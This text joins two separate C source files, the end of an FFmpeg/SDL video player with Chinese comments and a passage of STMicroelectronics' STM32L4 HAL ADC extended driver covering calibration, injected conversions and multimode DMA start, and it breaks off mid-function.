void free_resource() { if (global_video_state->pFormatCtx) { //内部调用avformat_free_context avformat_close_input(&global_video_state->pFormatCtx); } if (global_video_state->video_sws_ctx) { sws_freeContext(global_video_state->video_sws_ctx); } if (global_video_state->audio_swr_ctx) { swr_free(&global_video_state->audio_swr_ctx); } if (global_video_state->audio_ctx) { avcodec_close(global_video_state->audio_ctx); avcodec_free_context(&global_video_state->audio_ctx); } if (global_video_state->video_ctx) { avcodec_close(global_video_state->video_ctx); avcodec_free_context(&global_video_state->video_ctx); } SDL_DestroyWindow(win); win = NULL; SDL_DestroyRenderer(renderer); SDL_DestroyTexture(texture); SDL_Quit(); SDL_DestroyMutex(text_mutex); SDL_DestroyCond(global_video_state->pictq_cond); SDL_DestroyMutex(global_video_state->pictq_mutex); //test /* avpicture_free(AVPicture *picture); memset(void *b, int c, size_t len);//数组清零 void av_packet_unref(AVPacket *pkt); void av_free_packet(AVPacket *pkt); av_frame_free(AVFrame **frame); void av_freep(void *ptr); */ } int media_player(char *url){ SDL_Event event; VideoState *is; //分配空间 is = av_mallocz(sizeof(VideoState)); if(!url) { fprintf(stderr, "Usage: test <file>\n"); exit(1); } // Register all formats and codecs av_register_all(); //视频 | 音频 | timer if(SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO | SDL_INIT_TIMER)) { fprintf(stderr, "Could not initialize SDL - %s\n", SDL_GetError()); exit(1); } //创建SDL WindowW create_window(640, 360); text_mutex = SDL_CreateMutex(); av_strlcpy(is->filename, url, sizeof(is->filename)); //创建解码视频帧队列线程锁和信号量 is->pictq_mutex = SDL_CreateMutex(); is->pictq_cond = SDL_CreateCond(); //每40秒渲染一次视频帧 schedule_refresh(is, 40); is->av_sync_type = DEFAULT_AV_SYNC_TYPE; //创建解复用线程 is->parse_tid = SDL_CreateThread(demux_thread,"demux_thread", is); if(!is->parse_tid) { av_free(is); return -1; } for(;;) { SDL_WaitEvent(&event); switch(event.type) { case FF_QUIT_EVENT: case SDL_QUIT: is->quit = 1; //SDL_Quit(); free_resource(); return 0; break; case FF_REFRESH_EVENT: video_refresh_timer(event.user.data1); break; default: break; } } return 0; }
948661.c
/** ****************************************************************************** * @file stm32l4xx_hal_adc_ex.c * @author MCD Application Team * @brief This file provides firmware functions to manage the following * functionalities of the Analog to Digital Converter (ADC) * peripheral: * + Operation functions * ++ Start, stop, get result of conversions of ADC group injected, * using 2 possible modes: polling, interruption. * ++ Calibration * +++ ADC automatic self-calibration * +++ Calibration factors get or set * ++ Multimode feature when available * + Control functions * ++ Channels configuration on ADC group injected * + State functions * ++ ADC group injected contexts queue management * Other functions (generic functions) are available in file * "stm32l4xx_hal_adc.c". * @verbatim [..] (@) Sections "ADC peripheral features" and "How to use this driver" are available in file of generic functions "stm32l4xx_hal_adc.c". [..] @endverbatim ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2017 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ #include "stm32l4xx_hal.h" /** @addtogroup STM32L4xx_HAL_Driver * @{ */ /** @defgroup ADCEx ADCEx * @brief ADC Extended HAL module driver * @{ */ #ifdef HAL_ADC_MODULE_ENABLED /* Private typedef -----------------------------------------------------------*/ /* Private define ------------------------------------------------------------*/ /** @defgroup ADCEx_Private_Constants ADC Extended Private Constants * @{ */ #define ADC_JSQR_FIELDS ((ADC_JSQR_JL | ADC_JSQR_JEXTSEL | ADC_JSQR_JEXTEN |\ ADC_JSQR_JSQ1 | ADC_JSQR_JSQ2 |\ ADC_JSQR_JSQ3 | ADC_JSQR_JSQ4 )) /*!< ADC_JSQR fields of parameters that can be updated anytime once the ADC is enabled */ /* Fixed timeout value for ADC calibration. */ /* Values defined to be higher than worst cases: maximum ratio between ADC */ /* and CPU clock frequencies. */ /* Example of profile low frequency : ADC frequency at 31.25kHz (ADC clock */ /* source PLL SAI 8MHz, ADC clock prescaler 256), CPU frequency 80MHz. */ /* Calibration time max = 116 / fADC (refer to datasheet) */ /* = 296 960 CPU cycles */ #define ADC_CALIBRATION_TIMEOUT (296960UL) /*!< ADC calibration time-out value (unit: CPU cycles) */ /** * @} */ /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @defgroup ADCEx_Exported_Functions ADC Extended Exported Functions * @{ */ /** @defgroup ADCEx_Exported_Functions_Group1 Extended Input and Output operation functions * @brief Extended IO operation functions * @verbatim =============================================================================== ##### IO operation functions ##### =============================================================================== [..] This section provides functions allowing to: (+) Perform the ADC self-calibration for single or differential ending. (+) Get calibration factors for single or differential ending. (+) Set calibration factors for single or differential ending. (+) Start conversion of ADC group injected. (+) Stop conversion of ADC group injected. (+) Poll for conversion complete on ADC group injected. (+) Get result of ADC group injected channel conversion. (+) Start conversion of ADC group injected and enable interruptions. (+) Stop conversion of ADC group injected and disable interruptions. (+) When multimode feature is available, start multimode and enable DMA transfer. (+) Stop multimode and disable ADC DMA transfer. (+) Get result of multimode conversion. @endverbatim * @{ */ /** * @brief Perform an ADC automatic self-calibration * Calibration prerequisite: ADC must be disabled (execute this * function before HAL_ADC_Start() or after HAL_ADC_Stop() ). * @param hadc ADC handle * @param SingleDiff Selection of single-ended or differential input * This parameter can be one of the following values: * @arg @ref ADC_SINGLE_ENDED Channel in mode input single ended * @arg @ref ADC_DIFFERENTIAL_ENDED Channel in mode input differential ended * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_Calibration_Start(ADC_HandleTypeDef *hadc, uint32_t SingleDiff) { HAL_StatusTypeDef tmp_hal_status; __IO uint32_t wait_loop_index = 0UL; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); assert_param(IS_ADC_SINGLE_DIFFERENTIAL(SingleDiff)); /* Process locked */ __HAL_LOCK(hadc); /* Calibration prerequisite: ADC must be disabled. */ /* Disable the ADC (if not already disabled) */ tmp_hal_status = ADC_Disable(hadc); /* Check if ADC is effectively disabled */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_REG_BUSY | HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_BUSY_INTERNAL); /* Start ADC calibration in mode single-ended or differential */ LL_ADC_StartCalibration(hadc->Instance, SingleDiff); /* Wait for calibration completion */ while (LL_ADC_IsCalibrationOnGoing(hadc->Instance) != 0UL) { wait_loop_index++; if (wait_loop_index >= ADC_CALIBRATION_TIMEOUT) { /* Update ADC state machine to error */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_BUSY_INTERNAL, HAL_ADC_STATE_ERROR_INTERNAL); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } } /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_BUSY_INTERNAL, HAL_ADC_STATE_READY); } else { SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_INTERNAL); /* Note: No need to update variable "tmp_hal_status" here: already set */ /* to state "HAL_ERROR" by function disabling the ADC. */ } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } /** * @brief Get the calibration factor. * @param hadc ADC handle. * @param SingleDiff This parameter can be only: * @arg @ref ADC_SINGLE_ENDED Channel in mode input single ended * @arg @ref ADC_DIFFERENTIAL_ENDED Channel in mode input differential ended * @retval Calibration value. */ uint32_t HAL_ADCEx_Calibration_GetValue(ADC_HandleTypeDef *hadc, uint32_t SingleDiff) { /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); assert_param(IS_ADC_SINGLE_DIFFERENTIAL(SingleDiff)); /* Return the selected ADC calibration value */ return LL_ADC_GetCalibrationFactor(hadc->Instance, SingleDiff); } /** * @brief Set the calibration factor to overwrite automatic conversion result. * ADC must be enabled and no conversion is ongoing. * @param hadc ADC handle * @param SingleDiff This parameter can be only: * @arg @ref ADC_SINGLE_ENDED Channel in mode input single ended * @arg @ref ADC_DIFFERENTIAL_ENDED Channel in mode input differential ended * @param CalibrationFactor Calibration factor (coded on 7 bits maximum) * @retval HAL state */ HAL_StatusTypeDef HAL_ADCEx_Calibration_SetValue(ADC_HandleTypeDef *hadc, uint32_t SingleDiff, uint32_t CalibrationFactor) { HAL_StatusTypeDef tmp_hal_status = HAL_OK; uint32_t tmp_adc_is_conversion_on_going_regular; uint32_t tmp_adc_is_conversion_on_going_injected; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); assert_param(IS_ADC_SINGLE_DIFFERENTIAL(SingleDiff)); assert_param(IS_ADC_CALFACT(CalibrationFactor)); /* Process locked */ __HAL_LOCK(hadc); /* Verification of hardware constraints before modifying the calibration */ /* factors register: ADC must be enabled, no conversion on going. */ tmp_adc_is_conversion_on_going_regular = LL_ADC_REG_IsConversionOngoing(hadc->Instance); tmp_adc_is_conversion_on_going_injected = LL_ADC_INJ_IsConversionOngoing(hadc->Instance); if ((LL_ADC_IsEnabled(hadc->Instance) != 0UL) && (tmp_adc_is_conversion_on_going_regular == 0UL) && (tmp_adc_is_conversion_on_going_injected == 0UL) ) { /* Set the selected ADC calibration value */ LL_ADC_SetCalibrationFactor(hadc->Instance, SingleDiff, CalibrationFactor); } else { /* Update ADC state machine */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); /* Update ADC error code */ SET_BIT(hadc->ErrorCode, HAL_ADC_ERROR_INTERNAL); /* Update ADC state machine to error */ tmp_hal_status = HAL_ERROR; } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } /** * @brief Enable ADC, start conversion of injected group. * @note Interruptions enabled in this function: None. * @note Case of multimode enabled when multimode feature is available: * HAL_ADCEx_InjectedStart() API must be called for ADC slave first, * then for ADC master. * For ADC slave, ADC is enabled only (conversion is not started). * For ADC master, ADC is enabled and multimode conversion is started. * @param hadc ADC handle. * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_InjectedStart(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; uint32_t tmp_config_injected_queue; #if defined(ADC_MULTIMODE_SUPPORT) uint32_t tmp_multimode_config = LL_ADC_GetMultimode(__LL_ADC_COMMON_INSTANCE(hadc->Instance)); #endif /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) != 0UL) { return HAL_BUSY; } else { /* In case of software trigger detection enabled, JQDIS must be set (which can be done only if ADSTART and JADSTART are both cleared). If JQDIS is not set at that point, returns an error - since software trigger detection is disabled. User needs to resort to HAL_ADCEx_DisableInjectedQueue() API to set JQDIS. - or (if JQDIS is intentionally reset) since JEXTEN = 0 which means the queue is empty */ tmp_config_injected_queue = READ_BIT(hadc->Instance->CFGR, ADC_CFGR_JQDIS); if ((READ_BIT(hadc->Instance->JSQR, ADC_JSQR_JEXTEN) == 0UL) && (tmp_config_injected_queue == 0UL) ) { SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); return HAL_ERROR; } /* Process locked */ __HAL_LOCK(hadc); /* Enable the ADC peripheral */ tmp_hal_status = ADC_Enable(hadc); /* Start conversion if ADC is effectively enabled */ if (tmp_hal_status == HAL_OK) { /* Check if a regular conversion is ongoing */ if ((hadc->State & HAL_ADC_STATE_REG_BUSY) != 0UL) { /* Reset ADC error code field related to injected conversions only */ CLEAR_BIT(hadc->ErrorCode, HAL_ADC_ERROR_JQOVF); } else { /* Set ADC error code to none */ ADC_CLEAR_ERRORCODE(hadc); } /* Set ADC state */ /* - Clear state bitfield related to injected group conversion results */ /* - Set state bitfield related to injected operation */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_READY | HAL_ADC_STATE_INJ_EOC, HAL_ADC_STATE_INJ_BUSY); #if defined(ADC_MULTIMODE_SUPPORT) /* Reset HAL_ADC_STATE_MULTIMODE_SLAVE bit - if ADC instance is master or if multimode feature is not available - if multimode setting is disabled (ADC instance slave in independent mode) */ if ((__LL_ADC_MULTI_INSTANCE_MASTER(hadc->Instance) == hadc->Instance) || (tmp_multimode_config == LL_ADC_MULTI_INDEPENDENT) ) { CLEAR_BIT(hadc->State, HAL_ADC_STATE_MULTIMODE_SLAVE); } #endif /* Clear ADC group injected group conversion flag */ /* (To ensure of no unknown state from potential previous ADC operations) */ __HAL_ADC_CLEAR_FLAG(hadc, (ADC_FLAG_JEOC | ADC_FLAG_JEOS)); /* Process unlocked */ /* Unlock before starting ADC conversions: in case of potential */ /* interruption, to let the process to ADC IRQ Handler. */ __HAL_UNLOCK(hadc); /* Enable conversion of injected group, if automatic injected conversion */ /* is disabled. */ /* If software start has been selected, conversion starts immediately. */ /* If external trigger has been selected, conversion will start at next */ /* trigger event. */ /* Case of multimode enabled (when multimode feature is available): */ /* if ADC is slave, */ /* - ADC is enabled only (conversion is not started), */ /* - if multimode only concerns regular conversion, ADC is enabled */ /* and conversion is started. */ /* If ADC is master or independent, */ /* - ADC is enabled and conversion is started. */ #if defined(ADC_MULTIMODE_SUPPORT) if ((__LL_ADC_MULTI_INSTANCE_MASTER(hadc->Instance) == hadc->Instance) || (tmp_multimode_config == LL_ADC_MULTI_INDEPENDENT) || (tmp_multimode_config == LL_ADC_MULTI_DUAL_REG_SIMULT) || (tmp_multimode_config == LL_ADC_MULTI_DUAL_REG_INTERL) ) { /* ADC instance is not a multimode slave instance with multimode injected conversions enabled */ if (LL_ADC_INJ_GetTrigAuto(hadc->Instance) == LL_ADC_INJ_TRIG_INDEPENDENT) { LL_ADC_INJ_StartConversion(hadc->Instance); } } else { /* ADC instance is not a multimode slave instance with multimode injected conversions enabled */ SET_BIT(hadc->State, HAL_ADC_STATE_MULTIMODE_SLAVE); } #else if (LL_ADC_INJ_GetTrigAuto(hadc->Instance) == LL_ADC_INJ_TRIG_INDEPENDENT) { /* Start ADC group injected conversion */ LL_ADC_INJ_StartConversion(hadc->Instance); } #endif } else { /* Process unlocked */ __HAL_UNLOCK(hadc); } /* Return function status */ return tmp_hal_status; } } /** * @brief Stop conversion of injected channels. Disable ADC peripheral if * no regular conversion is on going. * @note If ADC must be disabled and if conversion is on going on * regular group, function HAL_ADC_Stop must be used to stop both * injected and regular groups, and disable the ADC. * @note If injected group mode auto-injection is enabled, * function HAL_ADC_Stop must be used. * @note In case of multimode enabled (when multimode feature is available), * HAL_ADCEx_InjectedStop() must be called for ADC master first, then for ADC slave. * For ADC master, conversion is stopped and ADC is disabled. * For ADC slave, ADC is disabled only (conversion stop of ADC master * has already stopped conversion of ADC slave). * @param hadc ADC handle. * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_InjectedStop(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential conversion on going on injected group only. */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_INJECTED_GROUP); /* Disable ADC peripheral if injected conversions are effectively stopped */ /* and if no conversion on regular group is on-going */ if (tmp_hal_status == HAL_OK) { if (LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 0UL) { /* 2. Disable the ADC peripheral */ tmp_hal_status = ADC_Disable(hadc); /* Check if ADC is effectively disabled */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_REG_BUSY | HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } } /* Conversion on injected group is stopped, but ADC not disabled since */ /* conversion on regular group is still running. */ else { /* Set ADC state */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_INJ_BUSY); } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } /** * @brief Wait for injected group conversion to be completed. * @param hadc ADC handle * @param Timeout Timeout value in millisecond. * @note Depending on hadc->Init.EOCSelection, JEOS or JEOC is * checked and cleared depending on AUTDLY bit status. * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_InjectedPollForConversion(ADC_HandleTypeDef *hadc, uint32_t Timeout) { uint32_t tickstart; uint32_t tmp_Flag_End; uint32_t tmp_adc_inj_is_trigger_source_sw_start; uint32_t tmp_adc_reg_is_trigger_source_sw_start; uint32_t tmp_cfgr; #if defined(ADC_MULTIMODE_SUPPORT) const ADC_TypeDef *tmpADC_Master; uint32_t tmp_multimode_config = LL_ADC_GetMultimode(__LL_ADC_COMMON_INSTANCE(hadc->Instance)); #endif /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* If end of sequence selected */ if (hadc->Init.EOCSelection == ADC_EOC_SEQ_CONV) { tmp_Flag_End = ADC_FLAG_JEOS; } else /* end of conversion selected */ { tmp_Flag_End = ADC_FLAG_JEOC; } /* Get timeout */ tickstart = HAL_GetTick(); /* Wait until End of Conversion or Sequence flag is raised */ while ((hadc->Instance->ISR & tmp_Flag_End) == 0UL) { /* Check if timeout is disabled (set to infinite wait) */ if (Timeout != HAL_MAX_DELAY) { if (((HAL_GetTick() - tickstart) > Timeout) || (Timeout == 0UL)) { /* New check to avoid false timeout detection in case of preemption */ if ((hadc->Instance->ISR & tmp_Flag_End) == 0UL) { /* Update ADC state machine to timeout */ SET_BIT(hadc->State, HAL_ADC_STATE_TIMEOUT); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_TIMEOUT; } } } } /* Retrieve ADC configuration */ tmp_adc_inj_is_trigger_source_sw_start = LL_ADC_INJ_IsTriggerSourceSWStart(hadc->Instance); tmp_adc_reg_is_trigger_source_sw_start = LL_ADC_REG_IsTriggerSourceSWStart(hadc->Instance); /* Get relevant register CFGR in ADC instance of ADC master or slave */ /* in function of multimode state (for devices with multimode */ /* available). */ #if defined(ADC_MULTIMODE_SUPPORT) if ((__LL_ADC_MULTI_INSTANCE_MASTER(hadc->Instance) == hadc->Instance) || (tmp_multimode_config == LL_ADC_MULTI_INDEPENDENT) || (tmp_multimode_config == LL_ADC_MULTI_DUAL_REG_SIMULT) || (tmp_multimode_config == LL_ADC_MULTI_DUAL_REG_INTERL) ) { tmp_cfgr = READ_REG(hadc->Instance->CFGR); } else { tmpADC_Master = __LL_ADC_MULTI_INSTANCE_MASTER(hadc->Instance); tmp_cfgr = READ_REG(tmpADC_Master->CFGR); } #else tmp_cfgr = READ_REG(hadc->Instance->CFGR); #endif /* Update ADC state machine */ SET_BIT(hadc->State, HAL_ADC_STATE_INJ_EOC); /* Determine whether any further conversion upcoming on group injected */ /* by external trigger or by automatic injected conversion */ /* from group regular. */ if ((tmp_adc_inj_is_trigger_source_sw_start != 0UL) || ((READ_BIT(tmp_cfgr, ADC_CFGR_JAUTO) == 0UL) && ((tmp_adc_reg_is_trigger_source_sw_start != 0UL) && (READ_BIT(tmp_cfgr, ADC_CFGR_CONT) == 0UL)))) { /* Check whether end of sequence is reached */ if (__HAL_ADC_GET_FLAG(hadc, ADC_FLAG_JEOS)) { /* Particular case if injected contexts queue is enabled: */ /* when the last context has been fully processed, JSQR is reset */ /* by the hardware. Even if no injected conversion is planned to come */ /* (queue empty, triggers are ignored), it can start again */ /* immediately after setting a new context (JADSTART is still set). */ /* Therefore, state of HAL ADC injected group is kept to busy. */ if (READ_BIT(tmp_cfgr, ADC_CFGR_JQM) == 0UL) { /* Set ADC state */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_INJ_BUSY); if ((hadc->State & HAL_ADC_STATE_REG_BUSY) == 0UL) { SET_BIT(hadc->State, HAL_ADC_STATE_READY); } } } } /* Clear polled flag */ if (tmp_Flag_End == ADC_FLAG_JEOS) { /* Clear end of sequence JEOS flag of injected group if low power feature */ /* "LowPowerAutoWait " is disabled, to not interfere with this feature. */ /* For injected groups, no new conversion will start before JEOS is */ /* cleared. */ if (READ_BIT(tmp_cfgr, ADC_CFGR_AUTDLY) == 0UL) { __HAL_ADC_CLEAR_FLAG(hadc, (ADC_FLAG_JEOC | ADC_FLAG_JEOS)); } } else { __HAL_ADC_CLEAR_FLAG(hadc, ADC_FLAG_JEOC); } /* Return API HAL status */ return HAL_OK; } /** * @brief Enable ADC, start conversion of injected group with interruption. * @note Interruptions enabled in this function according to initialization * setting : JEOC (end of conversion) or JEOS (end of sequence) * @note Case of multimode enabled (when multimode feature is enabled): * HAL_ADCEx_InjectedStart_IT() API must be called for ADC slave first, * then for ADC master. * For ADC slave, ADC is enabled only (conversion is not started). * For ADC master, ADC is enabled and multimode conversion is started. * @param hadc ADC handle. * @retval HAL status. */ HAL_StatusTypeDef HAL_ADCEx_InjectedStart_IT(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; uint32_t tmp_config_injected_queue; #if defined(ADC_MULTIMODE_SUPPORT) uint32_t tmp_multimode_config = LL_ADC_GetMultimode(__LL_ADC_COMMON_INSTANCE(hadc->Instance)); #endif /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); if (LL_ADC_INJ_IsConversionOngoing(hadc->Instance) != 0UL) { return HAL_BUSY; } else { /* In case of software trigger detection enabled, JQDIS must be set (which can be done only if ADSTART and JADSTART are both cleared). If JQDIS is not set at that point, returns an error - since software trigger detection is disabled. User needs to resort to HAL_ADCEx_DisableInjectedQueue() API to set JQDIS. - or (if JQDIS is intentionally reset) since JEXTEN = 0 which means the queue is empty */ tmp_config_injected_queue = READ_BIT(hadc->Instance->CFGR, ADC_CFGR_JQDIS); if ((READ_BIT(hadc->Instance->JSQR, ADC_JSQR_JEXTEN) == 0UL) && (tmp_config_injected_queue == 0UL) ) { SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); return HAL_ERROR; } /* Process locked */ __HAL_LOCK(hadc); /* Enable the ADC peripheral */ tmp_hal_status = ADC_Enable(hadc); /* Start conversion if ADC is effectively enabled */ if (tmp_hal_status == HAL_OK) { /* Check if a regular conversion is ongoing */ if ((hadc->State & HAL_ADC_STATE_REG_BUSY) != 0UL) { /* Reset ADC error code field related to injected conversions only */ CLEAR_BIT(hadc->ErrorCode, HAL_ADC_ERROR_JQOVF); } else { /* Set ADC error code to none */ ADC_CLEAR_ERRORCODE(hadc); } /* Set ADC state */ /* - Clear state bitfield related to injected group conversion results */ /* - Set state bitfield related to injected operation */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_READY | HAL_ADC_STATE_INJ_EOC, HAL_ADC_STATE_INJ_BUSY); #if defined(ADC_MULTIMODE_SUPPORT) /* Reset HAL_ADC_STATE_MULTIMODE_SLAVE bit - if ADC instance is master or if multimode feature is not available - if multimode setting is disabled (ADC instance slave in independent mode) */ if ((__LL_ADC_MULTI_INSTANCE_MASTER(hadc->Instance) == hadc->Instance) || (tmp_multimode_config == LL_ADC_MULTI_INDEPENDENT) ) { CLEAR_BIT(hadc->State, HAL_ADC_STATE_MULTIMODE_SLAVE); } #endif /* Clear ADC group injected group conversion flag */ /* (To ensure of no unknown state from potential previous ADC operations) */ __HAL_ADC_CLEAR_FLAG(hadc, (ADC_FLAG_JEOC | ADC_FLAG_JEOS)); /* Process unlocked */ /* Unlock before starting ADC conversions: in case of potential */ /* interruption, to let the process to ADC IRQ Handler. */ __HAL_UNLOCK(hadc); /* Enable ADC Injected context queue overflow interrupt if this feature */ /* is enabled. */ if ((hadc->Instance->CFGR & ADC_CFGR_JQM) != 0UL) { __HAL_ADC_ENABLE_IT(hadc, ADC_FLAG_JQOVF); } /* Enable ADC end of conversion interrupt */ switch (hadc->Init.EOCSelection) { case ADC_EOC_SEQ_CONV: __HAL_ADC_DISABLE_IT(hadc, ADC_IT_JEOC); __HAL_ADC_ENABLE_IT(hadc, ADC_IT_JEOS); break; /* case ADC_EOC_SINGLE_CONV */ default: __HAL_ADC_DISABLE_IT(hadc, ADC_IT_JEOS); __HAL_ADC_ENABLE_IT(hadc, ADC_IT_JEOC); break; } /* Enable conversion of injected group, if automatic injected conversion */ /* is disabled. */ /* If software start has been selected, conversion starts immediately. */ /* If external trigger has been selected, conversion will start at next */ /* trigger event. */ /* Case of multimode enabled (when multimode feature is available): */ /* if ADC is slave, */ /* - ADC is enabled only (conversion is not started), */ /* - if multimode only concerns regular conversion, ADC is enabled */ /* and conversion is started. */ /* If ADC is master or independent, */ /* - ADC is enabled and conversion is started. */ #if defined(ADC_MULTIMODE_SUPPORT) if ((__LL_ADC_MULTI_INSTANCE_MASTER(hadc->Instance) == hadc->Instance) || (tmp_multimode_config == LL_ADC_MULTI_INDEPENDENT) || (tmp_multimode_config == LL_ADC_MULTI_DUAL_REG_SIMULT) || (tmp_multimode_config == LL_ADC_MULTI_DUAL_REG_INTERL) ) { /* ADC instance is not a multimode slave instance with multimode injected conversions enabled */ if (LL_ADC_INJ_GetTrigAuto(hadc->Instance) == LL_ADC_INJ_TRIG_INDEPENDENT) { LL_ADC_INJ_StartConversion(hadc->Instance); } } else { /* ADC instance is not a multimode slave instance with multimode injected conversions enabled */ SET_BIT(hadc->State, HAL_ADC_STATE_MULTIMODE_SLAVE); } #else if (LL_ADC_INJ_GetTrigAuto(hadc->Instance) == LL_ADC_INJ_TRIG_INDEPENDENT) { /* Start ADC group injected conversion */ LL_ADC_INJ_StartConversion(hadc->Instance); } #endif } else { /* Process unlocked */ __HAL_UNLOCK(hadc); } /* Return function status */ return tmp_hal_status; } } /** * @brief Stop conversion of injected channels, disable interruption of * end-of-conversion. Disable ADC peripheral if no regular conversion * is on going. * @note If ADC must be disabled and if conversion is on going on * regular group, function HAL_ADC_Stop must be used to stop both * injected and regular groups, and disable the ADC. * @note If injected group mode auto-injection is enabled, * function HAL_ADC_Stop must be used. * @note Case of multimode enabled (when multimode feature is available): * HAL_ADCEx_InjectedStop_IT() API must be called for ADC master first, * then for ADC slave. * For ADC master, conversion is stopped and ADC is disabled. * For ADC slave, ADC is disabled only (conversion stop of ADC master * has already stopped conversion of ADC slave). * @note In case of auto-injection mode, HAL_ADC_Stop() must be used. * @param hadc ADC handle * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_InjectedStop_IT(ADC_HandleTypeDef *hadc) { HAL_StatusTypeDef tmp_hal_status; /* Check the parameters */ assert_param(IS_ADC_ALL_INSTANCE(hadc->Instance)); /* Process locked */ __HAL_LOCK(hadc); /* 1. Stop potential conversion on going on injected group only. */ tmp_hal_status = ADC_ConversionStop(hadc, ADC_INJECTED_GROUP); /* Disable ADC peripheral if injected conversions are effectively stopped */ /* and if no conversion on the other group (regular group) is intended to */ /* continue. */ if (tmp_hal_status == HAL_OK) { /* Disable ADC end of conversion interrupt for injected channels */ __HAL_ADC_DISABLE_IT(hadc, (ADC_IT_JEOC | ADC_IT_JEOS | ADC_FLAG_JQOVF)); if (LL_ADC_REG_IsConversionOngoing(hadc->Instance) == 0UL) { /* 2. Disable the ADC peripheral */ tmp_hal_status = ADC_Disable(hadc); /* Check if ADC is effectively disabled */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ ADC_STATE_CLR_SET(hadc->State, HAL_ADC_STATE_REG_BUSY | HAL_ADC_STATE_INJ_BUSY, HAL_ADC_STATE_READY); } } /* Conversion on injected group is stopped, but ADC not disabled since */ /* conversion on regular group is still running. */ else { /* Set ADC state */ CLEAR_BIT(hadc->State, HAL_ADC_STATE_INJ_BUSY); } } /* Process unlocked */ __HAL_UNLOCK(hadc); /* Return function status */ return tmp_hal_status; } #if defined(ADC_MULTIMODE_SUPPORT) /** * @brief Enable ADC, start MultiMode conversion and transfer regular results through DMA. * @note Multimode must have been previously configured using * HAL_ADCEx_MultiModeConfigChannel() function. * Interruptions enabled in this function: * overrun, DMA half transfer, DMA transfer complete. * Each of these interruptions has its dedicated callback function. * @note State field of Slave ADC handle is not updated in this configuration: * user should not rely on it for information related to Slave regular * conversions. * @param hadc ADC handle of ADC master (handle of ADC slave must not be used) * @param pData Destination Buffer address. * @param Length Length of data to be transferred from ADC peripheral to memory (in bytes). * @retval HAL status */ HAL_StatusTypeDef HAL_ADCEx_MultiModeStart_DMA(ADC_HandleTypeDef *hadc, uint32_t *pData, uint32_t Length) { HAL_StatusTypeDef tmp_hal_status; ADC_HandleTypeDef tmphadcSlave; ADC_Common_TypeDef *tmpADC_Common; /* Check the parameters */ assert_param(IS_ADC_MULTIMODE_MASTER_INSTANCE(hadc->Instance)); assert_param(IS_FUNCTIONAL_STATE(hadc->Init.ContinuousConvMode)); assert_param(IS_ADC_EXTTRIG_EDGE(hadc->Init.ExternalTrigConvEdge)); assert_param(IS_FUNCTIONAL_STATE(hadc->Init.DMAContinuousRequests)); if (LL_ADC_REG_IsConversionOngoing(hadc->Instance) != 0UL) { return HAL_BUSY; } else { /* Process locked */ __HAL_LOCK(hadc); /* Temporary handle minimum initialization */ __HAL_ADC_RESET_HANDLE_STATE(&tmphadcSlave); ADC_CLEAR_ERRORCODE(&tmphadcSlave); /* Set a temporary handle of the ADC slave associated to the ADC master */ ADC_MULTI_SLAVE(hadc, &tmphadcSlave); if (tmphadcSlave.Instance == NULL) { /* Set ADC state */ SET_BIT(hadc->State, HAL_ADC_STATE_ERROR_CONFIG); /* Process unlocked */ __HAL_UNLOCK(hadc); return HAL_ERROR; } /* Enable the ADC peripherals: master and slave (in case if not already */ /* enabled previously) */ tmp_hal_status = ADC_Enable(hadc); if (tmp_hal_status == HAL_OK) { tmp_hal_status = ADC_Enable(&tmphadcSlave); } /* Start multimode conversion of ADCs pair */ if (tmp_hal_status == HAL_OK) { /* Set ADC state */ 